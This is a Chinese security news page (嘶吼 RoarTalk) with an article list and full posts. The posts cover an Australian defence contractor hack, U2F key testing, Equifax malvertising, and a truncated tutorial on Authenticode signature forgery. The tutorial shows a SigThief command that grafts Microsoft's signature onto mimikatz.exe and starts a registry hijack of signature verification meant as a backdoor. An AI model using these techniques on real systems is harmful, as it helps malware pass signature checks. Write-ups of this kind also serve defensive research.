嘶吼RoarTalk

回归最本质的信息安全。

最新文章

利用PowerShell代码注入漏洞绕过约束语言模式
介绍受限语言模式是缓解PowerShell攻击的一种方式，能够阻止执行任意未签名的代码。当Device Guard或者AppLocker处于强制模式时，它是最实际有效的强制安全措施，因为未被策略允许的任何脚…查看全文
嘶吼RoarTalk
2 days ago
2 赞0 条评论
如何用一种最简单的方式分析恶意软件
介绍分析恶意软件通常需要代码逆向能力。可执行文件经常被编码以避免检测。例如，许多恶意Word文档具有嵌入式可执行有效内容，这是基于base64编码的（或其他一些编码）。为了理解编码，并且…查看全文
嘶吼RoarTalk
2 days ago
4 赞0 条评论
企业使用开源软件风险的分析
虽然开源软件（OSS）可以帮助软件供应商去更灵活的构建产品，但我们仍然认为软件供应商和IoT制造商都有必要去了解一下隐藏在软件供应链中的风险。已知风险例如，犯罪分子就完全可以利用Apac…查看全文
嘶吼RoarTalk
2 days ago
0 赞0 条评论
如何通过伪造Tor隐藏服务进行钓鱼？
经过调查，作为Tor隐藏服务的一种，10％的Tor用户使用了其中的SMS隐私服务。不过就是这么一个服务却被黑客钻了空子，本文就给你详细介绍一下黑客是如何通过伪造Tor隐藏服务来进行钓鱼的。案…查看全文
嘶吼RoarTalk
2 days ago
7 赞0 条评论
ATM机即将沦陷，地下黑市正在出售ATM恶意软件
随着黑科技的发展，现如今入侵ATM机已经变得越来越简单了。以前，黑客要想入侵ATM机，通常需要利用硬件和软件漏洞，然后强制它把钱吐出来。但现在有人研究出了一款恶意软件，任何人都可以窃…查看全文
嘶吼RoarTalk
3 days ago
12 赞1 条评论
浏览器挖坑活动总结
先说一个统计数字，不过不要吓到宝宝哦！目前加密货币挖掘已影响5亿多用户了，但很不幸的是，这些行为都进行的很隐蔽，很多用户并没有发现他们的设备被用作了挖矿，比如前几天刚发现的Chrom…查看全文
嘶吼RoarTalk
3 days ago
6 赞1 条评论
Catalog签名伪造——Long UNC文件名欺骗
0x00 前言在之前的两篇文章《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》和《Authenticode签名伪造——针对文件类型的签名伪造》介绍了Authenticode签名伪造的利用方法，这…查看全文
嘶吼RoarTalk
3 days ago
2 赞0 条评论
新型勒索软件：不仅会加密文件，还能修改手机PIN码
今天我们要介绍的是一种新型勒索软件，之所以说是新型，是因为它和以往的勒索软件有着非常明显的区别，不仅可以对手机中的数据进行加密，还可以更改手机上的锁屏密码。也就是说，受害者不仅…查看全文
嘶吼RoarTalk
4 days ago
7 赞0 条评论
美国必胜客用户信用卡数据泄露，为何迟迟不肯披露？
本月初，美国必胜客网站从（PizzaHut.com）遭到短暂的黑客入侵，顾客的信用卡信息和联系方式疑遭泄露。众所周知，必胜客为一家全球性知名快餐连锁品牌，顾客量惊人，但不幸的是，黑客们也瞄…查看全文
嘶吼RoarTalk
4 days ago
2 赞2 条评论
凯悦酒店再次泄露用户数据，中国区域酒店受伤最深
导语：近日，凯悦酒店集团向其用户发了一封紧急通知，他们的信用卡数据已经惨遭黑客窃取，近两年内，这是第二起数据泄露事件。近日，凯悦酒店集团向其用户发了一封紧急通知，他们的信用卡数…查看全文
嘶吼RoarTalk
5 days ago
4 赞1 条评论
Facebook好友也不可信，分分钟会黑掉你
如果你的Facebook好友突然间给你发送了一条紧急求助信息，他忘记账号密码了，想请求你作为紧急联系人帮忙找回一下，这个时候你答应还是拒绝？如果你的Facebook好友突然间给你发送了一条紧急…查看全文
嘶吼RoarTalk
5 days ago
2 赞0 条评论
专治复制粘贴癌症患者的Pastejacking
在linux bash下进行操作时难免因为懒，直接从别人的技术文章中复制相关的命令在bash下直接执行，为了治愈这种懒癌，应运而生的一种技术Pastejacking。原理很简单，通过js代码覆盖某人的剪贴…查看全文
嘶吼RoarTalk
5 days ago
10 赞5 条评论
给亚马逊挖洞=义务劳动？看白帽子怎么玩坏它
介绍众所周知，亚马逊是世界上最大的电子商务网站，拥有的员工数目超过34万。对于这么庞大的一个公司来说，网络环境的安全性至关重要，但是亚马逊却表示你为它提交漏洞是无偿的。这意味着你…查看全文
嘶吼RoarTalk
5 days ago
13 赞2 条评论
WPA2加密协议已被破解！你还敢用WiFi吗？
在即将召开的计算机协会安全会议推出的一项宣传活动的推文中，已经证明WPA2认证已经失效了。WPA2认证是一个已经被广泛用于确保WiFi连接的安全协议。有安全研究人员已经针对WPA2的破解做过充…查看全文
嘶吼RoarTalk
5 days ago
48 赞16 条评论
如何使用Sysmon寻找带宏的Word恶意文档
之前的文章，我已经多次介绍过关于sysmon，简单来说Sysmon是一个能监视你系统的轻量级工具。sysmon介绍sysmon是由Windows Sysinternals出品的一款Sysinternals系列中的工具。它以系统服务和…查看全文
嘶吼RoarTalk
6 days ago
2 赞0 条评论
Authenticode签名伪造——针对文件类型的签名伪造
0x00 前言在上篇文章《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》介绍了针对单一文件的Authenticode签名伪造，需要在文件尾部添加伪造的签名数据，这次将介绍另一种签名伪…查看全文
嘶吼RoarTalk
6 days ago
0 赞0 条评论
Authenticode签名伪造——PE文件的签名伪造与签名验证劫持
0x00 前言在上一篇文章《CAT文件数字签名使用技巧》介绍了证书签名的基础知识，Windows系统下向文件签名有两种方法：添加在文件末尾(Authenticode)和CAT文件(catalog)，本文将介绍Authentic…查看全文
嘶吼RoarTalk
6 days ago
1 赞0 条评论
Equifax又出事了，网站用户会被重定向到虚假的Flash更新网站
最近，美国知名征信机构Equifax频繁被报道负面新闻，先是1.4亿用户数据被盗，然后是1520万份英国客户记录泄露，而现在又被报道出Equifax用户会被重定向到虚假的Flash更新页面。Equifax以向…查看全文
嘶吼RoarTalk
6 days ago
0 赞0 条评论
U2F设备安全测试
在上一篇文章中，我对U2F设备的各种安全密钥进行了一个很粗浅的安全介绍，这其中就包括了：基本功能，物理特征等，如果你感兴趣可以点此了解详情。在今天的这篇文章中，我会从一个更低级别…查看全文
嘶吼RoarTalk
6 days ago
1 赞0 条评论
“中国菜刀”出海：有人用它从澳大利亚军方偷了30GB绝密数据
在本周三有媒体参加的官方会议上，澳大利亚负责国家安全情报收集工作的信号局（Australian Signals Directorate，简称ASD）事件应急主管Mitchell Clarke透露，他们去年曾处理过一起棘手的应…查看全文
嘶吼RoarTalk
6 days ago
23 赞3 条评论

{"database":{"Post":{"30149039":{"title":"“中国菜刀”出海：有人用它从澳大利亚军方偷了30GB绝密数据","author":"hou-hou-4-12","content":"<p>在本周三有媒体参加的官方会议上，澳大利亚负责国家安全情报收集工作的信号局（Australian Signals Directorate，简称ASD）事件应急主管Mitchell Clarke透露，他们去年曾处理过一起棘手的应急事件。</p><h2><b>绝密军火库被盗</b></h2><p>2016年11月，有合作伙伴向ASD发来警告，<b>有攻击者已经进入当地一家50人规模航天工程公司的内部网络，正在打包（美国）国防部相关绝密数据。</b></p><img src=\"v2-259050b279aeb1994d6725bd0e5ea8a9.jpg\" data-caption=\"\" data-rawwidth=\"300\" data-rawheight=\"354\"><p>ASD整理的攻击者信息</p><p>海量绝密数据被窃取，包括F-35战斗机、P-8波塞冬海上巡逻机、C-130运输机、联合直接攻击弹药（JDAM）智能炸弹包以及数艘澳大利亚海军舰艇等等。</p><img src=\"v2-8a5258f46efb8158c46d370f569296b2.jpg\" data-caption=\"\" data-rawwidth=\"1000\" data-rawheight=\"563\"><p>(F-35是美国最新一代战机，澳大利亚订购了几十架)</p><p>Mitchell Clarke称，攻击者在几个月内窃取了大约30GB的敏感数据，它们均在美国国际武器贸易控制条例（ITAR）的进出口限制范围之内。而且数据详实程度令人震惊，以澳大利亚最新海军舰艇为例，Clarke说攻击者拿到的设计图文件，精度极高，放大后可以看清船长座椅。</p><h2><b>安全防护一塌糊涂</b></h2><p>本周二澳大利亚网络安全中心发布的2017年度威胁报告首次披露了此事，周三的澳大利亚信息安全协会全国大会上，Clarke分享了更多细节。</p><p>ASD将此次攻击行动命名为“APT ALF”，暗示攻击持续时间长，和澳大利亚著名长寿肥皂剧Home and Away类似。</p><p>至少在2016年7月中旬时候，攻击者实际上已经进入那家小型国防承包商企业的网络。两周后，数据开始陆续被窃取。从8月到ASD被通知的11月，攻击者完全占据了网络，在长达三个多月的”贤者时间“几乎为所欲为。</p><p>ASD事后调查该企业的网络安全防范，发现和常见民营小公司的网络环境很类似。由于员工流动率高，它没有常规修补方案、没有DMZ防护、服务器竟然使用本地管理员账号而非域控账号、许多主机上开着Web服务…最奇葩的是开着的Web服务还用着admin/admin、guest/guest等默认弱账号密码。</p><p>所以，被黑也很活该对吧。攻击者最开始发现某主机的旧版本Web服务存在“任意文件上传漏洞”，使用国内知名黑客工具“中国菜刀”成功拿下Webshell，然后展开扫描环境、横向移动、数据Dump等一系列攻击操作。</p><h2><b>神秘的受害者和通报者</b></h2><p>到目前为止，我们只能从Clarke只言片语里猜测受害者和通报者的身份。</p><p>据悉，受害者是澳大利亚航空航天工程的四级承包商，和主承包商、当地机构、美国国防部门、波音和洛克希德马丁等制造商对接，并且通过美国军火贸易的ITAR安全认证。</p><p>ASD连同澳大利亚CERT机构找到这家公司时，曾被拒之门外。Clarke说他们知晓事情后前往受害者办公室，但受害者很警惕，不相信他们的身份，ASD和CERT的权限也不足以去审查这家公司。</p><p>通过一些手段，ASD最终获得了受害者的信任，得以采取措施分析和溯源事件状况和攻击者信息。</p><p>通报者则更神秘，这家不愿透露名字的澳大利亚合作伙伴在7月份已经知晓有人黑进了受害者企业网络，但当时无法告知。在花费大量时间处理合规、法律流程后，终于在11月向ASD通报成功。</p><p>“对澳大利亚来说，这显然不是最好的结果，但至少我们被告知了，总比一无所知强。”Clarke道。</p><h2><b>应急之后呢？</b></h2><p>经历这一教训后，Clarke认为，澳大利亚应该学会更精细化的控制安全风险，学习如何选择安全机制。他强调遵循最佳安全实践保护网络的重要性，比如ASD一直推行的“减缓网络安全事件危害基本八条”（<a href=\"https://asd.gov.au/publications/protect/essential-eight-explained.htm\">Protect Essential Eight Explained</a>）。</p><p>对中国来说，除了攻击者使用“中国菜刀”的身份揣测外，我们还应关注国内同类企业的安全状况。澳大利亚受害者不会是孤例，相信也会有许多目光对准中国这方面企业，他们的安全措施如何？是否有能力抵御呢？</p><blockquote>本文编译自http://www.zdnet.com/article/secret-f-35-p-8-c-130-data-stolen-in-australian-defence-contractor-hack/、https://www.itnews.com.au/news/hacked-aussie-defence-firm-lost-fighter-jet-bomb-ship-plans-475211，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/7969.html\">http://www.4hou.com/info/news/7969.html</a>   更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-16T02:11:04.000Z","canComment":false,"commentPermission":"anyone","commentCount":3,"likeCount":23,"state":"published","isLiked":false,"slug":"30149039","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-16T10:11:04+08:00","links":{"comments":"/api/posts/30149039/comments"},"url":"/p/30149039","titleImage":"","summary":"","href":"/api/posts/30149039","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":3,"likesCount":23},"30149117":{"title":"U2F设备安全测试","author":"hou-hou-4-12","content":"<p></p><img src=\"v2-3a912ac6f32105ca9ffa1e741f8d9e7c.jpg\" data-caption=\"\" data-rawwidth=\"710\" data-rawheight=\"344\"><p>在上一篇文章中，我对U2F设备的各种安全密钥进行了一个很粗浅的安全介绍，这其中就包括了：基本功能，物理特征等，如果你感兴趣可以<a href=\"https://www.imperialviolet.org/2017/08/13/securitykeys.html\">点此</a>了解详情。在今天的这篇文章中，我会从一个更低级别的特征来测试U2F设备的安全性。</p><p>安全密钥用的是FIDO U2F规范，U2F (Universal 2nd Factor) 是 Yubico, Yahoo 和 Google 联合开发的基于物理设备的双因素认证协议，目前已经完成标准化，从属于 FIDO (Fast Identity Online) 联盟名下。另外，FIDO U2F规范借鉴了智能卡ISO7816-4规范中的许多标准。FIDO U2F尽可能对每种可能的传输（USB，NFC或蓝牙）都进行规范，已确定它们在传输时是如何封装U2F消息的，例如，USB接口会如何封装U2F消息。 目前FIDO正在对目前的标准进行修订，以应对未来可能的情况，不过目前所有的安全密钥标准都实现了基本的安全功能。简而言之，U2F包含三大部分：注册，验证和检查。</p><p>注册时U2F设备会创建一个新的密钥对，更准确地说，注册时服务器会产生一个32字节的Challenge数据和一个32字节的应用id。</p><p>注册请求消息有两部分，如下图所示：</p><img src=\"v2-681d953765bf9ed65ca8876b41f22151.jpg\" data-caption=\"\" data-rawwidth=\"331\" data-rawheight=\"161\"><p>challenge parameter[32 bytes]， challenge parameter是对客户端数据进行SHA-256运算得到的哈希值，另外Challenge是一个随机数。Client Data是一个由FIDO客户端准备的JSON数据结构。</p><p>application parameter[32 bytes]，application parameter是请求注册的应用id的SHA-256结果。而对于浏览器，应用id是登录页面的起始地址中的URL的哈希值。</p><h2><b>U2F设备的密钥对</b></h2><p>U2F设备产生的密钥对是服务器关联的，一对密钥对应一个服务器，而不是一个U2F设备对应一个服务器。在注册的时候，服务器给U2F设备传入服务器相关信息，U2F设备产生一对密钥对，将此密钥对和服务器相关信息相关联，给此密钥对分配一个key handle,将其和公钥传给服务器，服务器将注册的账户信息，公钥，key handle全部关联在一起并保存。</p><p>当用户需要使用U2F验证操作时，服务器产生Challenge数据，使用U2F设备做签名，此时服务器将key Handle和服务器信息通过浏览器传给U2F设备，U2F设备使用Key Handle，寻找对应的密钥对，如果密钥对存在，检验密钥对应的服务器信息是否和传入的服务器信息匹配，如果不匹配，说明服务器是伪造或者不正确的。如果正确，U2F设备等待用户按键确认，用户按键后，U2F设备对Challenge数据做签名，应用id返回给服务器，服务器验证应用id，如果签名正确，说明此公钥对应的唯一私钥是正确的，表明用户拥有合法的U2F设备，如果签名不正确，说明此用户正在伪造身份登录。</p><h2><b>U2F设备安全特性</b></h2><p>然而一个比较有趣的地方是，U2F设备不带无穷大的安全存储空间。在实际研究过程中，我发现key handle实际上是一个加密的私钥，即用令牌卸载存储的私有密钥。然而，从理论上讲，key handle可能只是一个整数，用于对令牌内的存储密钥进行索引。所以为了保证安全性，私钥的保护很重要。U2F协议允许一个廉价的设备，同时保证此设备不会泄露私钥。Key handle可以不是U2F设备上一个私钥的索引，相反，Key Handle可以用来存储私钥和服务器相关信息，这些信息可以被加密保存到一个Key Handle中（例如使用aes加密私钥和服务器数据）。</p><p>鉴于此，在新修订的FIDO U2F规范中，有许多关键的安全规范还是应该保留下来，比如：</p><code lang=\"text\">1.Key Handle应加密，以防止在那里找到ECDSA私钥。\n2.一个安全密钥的Key Handle不能与另一个安全密钥一起使用，即使是相同的类型。\n3.如果一个安全密钥被要求生成数百个密钥对，那么它们都应该是不同的。\n4.所有的签名都应该有唯一的随机数，否则就可能出现安全漏洞，让人提取你的私钥。\n5.应该对应用id进行检查。</code><p>但除此之外，还有其他一些安全性需要进行测试：</p><code lang=\"text\">1.Key Handle是否是U2F令牌产生的，如果U2F令牌发现key handle不是自己创建的，直接进行错误返回，如果是，U2F令牌必须返回一个认证响应。\n2.签名是否被正确编码了？U2F设备的签名采用的是ASN.1编码。\n3.USB协议传输的是64字节数据包，最后的填充字节应全部为零，而不是随机的内存字节。</code><p>给了这么多理论的安全建议，但最终还是要理论结合实践，下面就让我们看看目前市场上的U2F设备是如何进行密钥管理的。</p><h2><b>Yubico</b></h2><p>Yubico的产品目前还处于比较领先的位置，产品还暂时没有发现什么漏洞，必定U2F的标准就是Yubico牵头制定的。</p><h2><b>Vasco公司的SecureClick</b></h2><p>Vasco公司的SecureClick也是一款很不错的产品，具体介绍点此https://github.com/hillbrad/U2FReviews#secureclick。这是一个蓝牙低功耗（BLE）令牌，这意味着它可以与Android和iOS设备配合使用。对于非移动设备，它包括一个USB-A BLE加密狗。 SecureClick使用Chrome扩展来配置和配对跨平台的加密狗。加密狗看起来像一个普通的USB设备，但区别就是它能从令牌中检测到到一个BLE信号，此时它会“断开”，并进行重新连接，以执行U2F操作。一旦需要用户注册或认证的操作完成，则令牌就会自动断电，并且加密狗再次断开并重新恢复到原始USB设备的状态。</p><p>如果你正在使用Linux，那配置的udev（设备管理器）就可以正常显示令牌供应商的ID和产品ID的访问权限，不过由于供应商ID和产品ID是不同的，所以令牌无法正常工作， Chrome扩展程序也很混乱。还有一个问题就是BLE令牌设备的电池经常会因电量耗尽而停止工作。 </p><h2><b>飞天诚信的ePass</b></h2><p>ePass系列是由飞天诚信公司推出USB Key，主要是用作基于公钥体系的数字证书和私钥的安全载体，大小如同房间钥匙，形状和市面上的U盘相像，可以穿在钥匙环上随身携带。目前飞天诚信已获FIDO UAF认证，成为国内唯一一家拥有U2F和UAF双证的企业</p><p>ASN.1 DER被设计为可辨别的编码，即对于给定值，应该进行唯一的排列，这样所有其他表示都是无效的。因此，数字应该被最小化编码，没有前导零。</p><p>不过ePass并不具备这样的安全密钥，因为从9个前导零位开始的数字在开始时都有一个无效的零字节。可以推测，从17个零位开始的数字在开始时都有两个无效的零字节，但是我没有足够的时间来寻找具体的案例。不过我可以推测这种安全密钥生成的256个签名中，只有一个属于无效编码。</p><p>此外，Key Handle的最后八个字节似乎是多余的，也就是说，你可以将它们更改为你喜欢的任何值，至于是否能起到安全密钥就不一定了。其实这倒不是什么问题，真正的问题是，它们是否会被使用？另外，USB数据包中的填充数据不为零，不过这只是显然了传输缓冲区的以前内容，并不会泄露什么敏感数据。</p><h2><b>Thetis</b></h2><p>不知是什么原因，我无法在此设备上测试一些安全特性，比如Key Handle的可变性，应用id是否经过了检查等。对Key Handle的可变性检查的响应是无效的，根据FIDO U2F规范，检查响应的返回状态为0x9000 (“NO_ERROR”)，但其实返回状态应该为0x6985或0x6a80。之后，它开始拒绝所有的含有0x6a80的Key Handle（包括有效的）的响应。</p><p>该设备具有与飞天诚信的ePass相同的非最小签名编码问题，此外，如果你按键的速度太快，这个安全密钥就会陷入混乱并拒绝一些status 0x6ffe请求。另外，USB填充字节也不为零。</p><h2><b>U2F Zero</b></h2><p>1KiB ping消息崩溃此设备（即它停止响应USB消息，需要拔下并重新插入）。测试一个损坏的钥匙柄也会崩溃，因此我无法运行许多测试。</p><p>一个1KiB的 ping消息即会让U2F Zero崩溃，并停止响应任何USB消息，如果要重新运行就要拔下来重新插入。另外测试一个崩溃的Key Handle也会崩溃，所以最后我只能放弃对其的安全性测试。</p><h2><b>KEY-ID/HyperFIDO</b></h2><p>Key-ID和HyperFIDO设备，具有相同的固件，它们具有与ePass相同的非最小编码问题，除此之外，还存在ASN.1缺陷。在ASN.1 DER中，如果一个数字的最高有效位被设置，那该数字就是负数。如果不是负数，则需要一个零填充字节。当测试最高有效位时安全密钥会检查第一个字节是否是&gt; 0x80，但按照规范应该检查第一个字节是否是&gt;= 0x80。这样检查的结果就是有时会产生含有负数的签名，使得检查无效。</p><p>另外，USB填充字节不是零，而且还包括了不属于请求或响应的一部分数据。虽然这些数据不太可能有什么实质的影响，但它们是从哪里来的呢？这个确实是个有待研究的问题。</p><p>还有就是封装的密钥也有一些问题。首先，字节16到31是设备和应用id的函数，因此，在不同的帐户使用时，给定站点可以被动地识别到相同的标记。字节48至79未经身份验证，并且在更改时，除了签名错误之外，所有内容仍然有效，这表明这些字节就是加密的私钥或生成它的加密种子。最后，虽然字节32到47不能被任意操作，但是可以用来自不同的key handle的替换相同的字节，这就会导致签名错误。</p><blockquote>本文翻译自：https://www.imperialviolet.org/2017/10/08/securitykeytest.html ，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/tools/7935.html\">http://www.4hou.com/tools/7935.html</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-16T02:17:08.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":1,"state":"published","isLiked":false,"slug":"30149117","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-16T10:17:08+08:00","links":{"comments":"/api/posts/30149117/comments"},"url":"/p/30149117","titleImage":"","summary":"","href":"/api/posts/30149117","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":1},"30149390":{"title":"Equifax又出事了，网站用户会被重定向到虚假的Flash更新网站","author":"hou-hou-4-12","content":"<p></p><img src=\"v2-a3b7a55c7b1b303c890a0826347234a5.jpg\" data-caption=\"\" data-rawwidth=\"1024\" data-rawheight=\"576\"><p>最近，美国知名征信机构Equifax频繁被报道负面新闻，先是1.4亿用户数据被盗，然后是1520万份英国客户记录泄露，而现在又被报道出Equifax用户会被重定向到虚假的Flash更新页面。</p><p>Equifax以向用户提供信用报告为基础，但是正是这一项基础业务让他们的用户陷入了危险之中，当Equifax向用户提供信用报告时，会将用户重定向到一个虚假的Flash Player网站。</p><p>这一安全问题是由独立安全分析师Randy Abrams发现，他表示：</p><blockquote>当我试着在Equifax网站上查找我的信用账单时，点击了Equifax 链接，然后就被重定向到了一个恶意URL上。在这个URL上当即弹出了一个虚假的Flash Player更新界面。 </blockquote><img src=\"v2-ac1ecdb7281af37d41d8eef3fe1e3c6f.jpg\" data-caption=\"\" data-rawwidth=\"800\" data-rawheight=\"345\"><p>被攻击者入侵的Equifax页面 (aa.econsumer.equifax.com) 已经被Equifax迅速清理了。攻击者是根据用户的设备类型和地理位置进行重定向的，比如，安卓和iOS用户会被提供虚假更新网站、高级短信服务网站等。</p><p>Equifax公司已经确认，这一问题影响的是信用报告帮助链接。</p><blockquote>我们已经得知了这一问题，我们的技术团队和安全团队正在调查，以防万一，目前已经将这一页面关闭了。</blockquote><img src=\"v2-bbd3a6a54e41853ab7f78c676d42e746.jpg\" data-caption=\"\" data-rawwidth=\"1024\" data-rawheight=\"721\"><h2><b>但是，真实的情况应该是这样的？</b></h2><p>似乎这次Equifax并没有被黑，这是背了个锅，其实应该是第三方广告网络或者分析供应商的问题。随后，安全研究员 Kevin Beaumont也证实了这一说法。</p><blockquote>本文翻译自：http://securityaffairs.co/wordpress/64236/cyber-crime/equifax-malvertising.html，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/7941.html\">http://www.4hou.com/info/news/7941.html</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-16T02:18:18.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":0,"state":"published","isLiked":false,"slug":"30149390","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-16T10:18:18+08:00","links":{"comments":"/api/posts/30149390/comments"},"url":"/p/30149390","titleImage":"","summary":"","href":"/api/posts/30149390","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":0},"30157991":{"title":"Authenticode签名伪造——PE文件的签名伪造与签名验证劫持","author":"hou-hou-4-12","content":"<h2><b>0x00 前言</b></h2><p>在上一篇文章<a href=\"http://www.4hou.com/system/7891.html\">《CAT文件数字签名使用技巧》</a>介绍了证书签名的基础知识，Windows系统下向文件签名有两种方法：添加在文件末尾(Authenticode)和CAT文件(catalog)，本文将介绍Authenticode签名的相关利用技巧——PE文件的签名伪造与签名验证劫持。</p><p><b>注：</b></p><p>本文介绍的技巧参考自Matt Graeber@mattifestation公开的资料，本文将结合自己的经验，整理相关内容，添加个人理解。</p><p><b>参考资料：</b></p><p><a href=\"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf\">https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf</a></p><p><a href=\"http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html\">http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html</a></p><p><a href=\"https://drive.google.com/file/d/0B-K55rLoulAfNms1aW1rbXF1Tmc/view\">https://drive.google.com/file/d/0B-K55rLoulAfNms1aW1rbXF1Tmc/view</a></p><h2><b>0x01 简介</b></h2><p>本文将要介绍以下内容：</p><p>· PE文件的Authenticode签名伪造</p><p>· 劫持签名验证过程，实现代码执行，作为后门</p><h2><b>0x02 PE文件的签名伪造</b></h2><p>Authenticode的详细说明文档可参考：</p><p><a href=\"http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx\">http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx</a></p><p>部分系统文件会包含微软的签名，例如C:\\Windows\\System32\\consent.exe</p><p>通过文件属性能够看到相关签名信息，如下图</p><img src=\"v2-ffcf69d1f06073fa0742c95ec632d9c5.jpg\" data-caption=\"\" data-rawwidth=\"801\" data-rawheight=\"446\"><p>通过powershell验证，代码如下：</p><code lang=\"text\">Get-AuthenticodeSignature C:\\Windows\\System32\\consent.exe</code><p>如下图</p><img src=\"v2-6b4fce22c9a23bc915d6bbdc541f4e4e.jpg\" data-caption=\"\" data-rawwidth=\"650\" data-rawheight=\"188\"><p>借助工具CFF Explorer获取文件结构，如下图</p><img src=\"v2-33af3c523f8bc4ef2412db8f51bd4654.jpg\" data-caption=\"\" data-rawwidth=\"912\" data-rawheight=\"494\"><p>Security Directory RVA代码数字签名在PE文件中的偏移位置 <br>Security DirectorySize代表数字签名的长度</p><p>将这部分内容提取，复制到另一个文件test.exe的尾部，同时使用CFF Explorer修改test.exe对应的Security Directory RVA和Security DirectorySize</p><p>这样，就实现了数字签名的伪造</p><p>开源工具SigThief可自动实现以上过程，地址如下：</p><p><a href=\"https://github.com/secretsquirrel/SigThief\">https://github.com/secretsquirrel/SigThief</a></p><p><b>实际测试：</b></p><p>测试系统： Win7</p><p>将C:\\Windows\\System32\\consent.exe的数字签名复制到mimikatz.exe中</p><p>参数如下：</p><code lang=\"text\">sigthief.py -i C:\\Windows\\System32\\consent.exe -t mimikatz.exe -o si.exe</code><p>生成si.exe，具有微软数字签名，但提示证书无效，如下图</p><img src=\"v2-ef35e4fd4277e25892bdb5164ff02ecc.jpg\" data-caption=\"\" data-rawwidth=\"854\" data-rawheight=\"419\"><p><b>注：</b></p><p>部分测试系统无法使用sigthief.py，提示找不到0x9，将系统激活即可</p><p>通过powershell验证，代码如下：</p><code lang=\"text\">Get-AuthenticodeSignature .si.exe</code><p>显示HashMismatch，如下图</p><img src=\"v2-b1a5272c0facda21eaa5eb7c19fa42b1.jpg\" data-caption=\"\" data-rawwidth=\"648\" data-rawheight=\"170\"><p><br></p><p>通过signtool.exe验证：</p><code lang=\"text\">signtool.exe verify /v si.exe</code><p>显示SignTool Error: WinVerifyTrust returned error: 0x80096010，如下图</p><img src=\"v2-3cc9592b5f64cd3fd4173c7764e07ac7.jpg\" data-caption=\"\" data-rawwidth=\"644\" data-rawheight=\"685\"><p>通过sigcheck.exe验证：</p><code lang=\"text\">sigcheck.exe -q si.exe</code><p>显示The digital signature of the object did not verify，如下图</p><img src=\"v2-7c05a471952291b7644fecf162425562.jpg\" data-caption=\"\" data-rawwidth=\"643\" data-rawheight=\"222\"><h2><b>0x03 修改配置，使签名通过验证</b></h2><p>查看Get-AuthenticodeSignature的帮助说明：</p><code lang=\"text\">Get-Help Get-AuthenticodeSignature -Full</code><p>查看相关操作Set-AuthenticodeSignature的帮助说明：</p><code lang=\"text\">Get-Help Set-AuthenticodeSignature -Full</code><p>发现该命令的功能：</p><code lang=\"text\">The Set-AuthenticodeSignature cmdlet adds an Authenticode signature to \nany file that supports Subject Interface Package (SIP).</code><p>关于SIP的资料，可参考：</p><p><a href=\"https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/\">https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/</a></p><p>获得有用的信息：</p><code lang=\"text\">There are some included as part of the OS (at least on Vista). Locate \nin the %WINDIR%System32 directory. They usually have a naming ending \nwith sip.dll, i.e. msisip.dll is the Microsoft Installer (.msi) SIP.</code><p>寻找Windows下的SIP:</p><code lang=\"text\">ls C:\\Windows\\System32\\*sip.dll -Recurse -ErrorAction SilentlyContinue</code><p>Win7下只有一个：C:\\Windows\\System32\\msisip.dll</p><p><b>注：</b></p><p>Matt Graeber的测试系统为Win10，可以找到多个dll</p><p>使用IDA打开该dll，查看函数DllRegisterServer()</p><p>如下图</p><img src=\"v2-024f552943fbce20cf0a54d1714f2af6.jpg\" data-caption=\"\" data-rawwidth=\"1050\" data-rawheight=\"493\"><p>找到一个特别的名称MsiSIPVerifyIndirectData，字面意思像是签名验证功能</p><p>查找资料，找到该函数，地址如下：</p><p><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/cc542591%28v=vs.85%29.aspx\">https://msdn.microsoft.com/en-us/library/windows/desktop/cc542591%28v=vs.85%29.aspx</a></p><p>发现该函数，返回TRUE代表验证成功，返回FALSE代表验证失败</p><p>该功能对应注册表键值，位置如下：</p><p>HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\Encoding\\Type 0\\CryptSIPDllVerifyIndirectData</p><p>如下图</p><img src=\"v2-47c807bb0623c63afc1b26af09877b78.jpg\" data-caption=\"\" data-rawwidth=\"943\" data-rawheight=\"459\"><p>不同GUID对应不同文件格式的验证，例如：</p><p>· C689AAB8-8E78-11D0-8C47-00C04FC295EE – PE</p><p>· DE351A43-8E59-11D0-8C47-00C04FC295EE – catalog .cat文件</p><p>· 9BA61D3F-E73A-11D0-8CD2-00C04FC295EE – CTL .ctl文件</p><p>· C689AABA-8E78-11D0-8C47-00C04FC295EE – cabinet .cab文件</p><p><b>注：</b></p><p>GUID说明引用自<a href=\"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf\">《Subverting Trust in Windows》</a> Page4</p><p>接下来，尝试替换HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 